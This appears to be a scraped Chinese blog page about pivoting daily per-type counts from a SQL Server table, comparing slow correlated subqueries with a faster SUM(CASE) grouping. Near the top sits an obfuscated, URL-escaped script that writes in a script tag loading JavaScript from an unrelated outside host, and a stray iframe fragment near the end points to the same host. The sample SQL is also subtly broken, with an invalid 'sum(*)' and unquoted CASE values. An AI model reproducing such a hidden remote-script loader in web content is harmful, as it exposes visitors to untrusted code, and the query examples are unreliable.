检索每天内固定牌子的数量!

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
检索每天内固定牌子的数量!




有表 tableA 如下:
-----------------------------------------------------
id,    type ,   countNumber ,   countDate
1 A 10  2005-02-01 21:23:34
2 B 8  2005-02-01 21:23:34
3 C 5  2005-02-01 21:23:34
4 B 4  2005-02-01 11:23:34
5 C 5  2005-02-01 22:23:34
6 A 11  2005-02-02 12:23:34
7 B 9  2005-02-02 14:23:34
8 C 8  2005-02-02 17:23:34
9 A 15  2005-02-02 19:23:34
10 C 6  2005-02-02 04:23:34
11 A 7  2005-02-03 1:23:34
12 B 11  2005-02-03 2:23:34
13 C 12  2005-02-03 5:23:34
.......................
想要用一条语句生成如下的报表
日期   类型A 类型B 类型C 
2005-02-01   10 12 10 
2005-02-02   26 9 14 
2005-02-03   7 11 12 
我用的是如下的sql语句:
SELECT
 a.DATEFMT
 ,(select sum(*) from tableA where type='A' and convert(char(10),countDate,20)= a.DATEFMT) typeA
 ,(select sum(*) from tableA where type='B' and convert(char(10),countDate,20)= a.DATEFMT) typeB
 ,(select sum(*) from tableA where type='C' and convert(char(10),countDate,20)= a.DATEFMT) typeC
FROM
(
 SELECT convert(char(10),countDate,20) DATEFMT
 FROM tableA
 GROUP BY convert(char(10),countDate,20)
) a
但是这条语句在sqlserver 上执行起来特别的慢,要很久(20多秒),tabelA 中有9万条数据. 而我在mySql(表中有2万条数据)上执行就快很多!
后来在论坛上看到高手这样写
select convert(char(10),countDate,20),
typeA=sum(case type when A then CountNumber else 0 end),
typeB=sum(case type when B then CountNumber else 0 end),
typeC=sum(case type when C then CountNumber else 0 end)
From tableA
group by convert(char(10),countDate,20)
只用 1秒 不到!  唉! 厉害厉害!
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值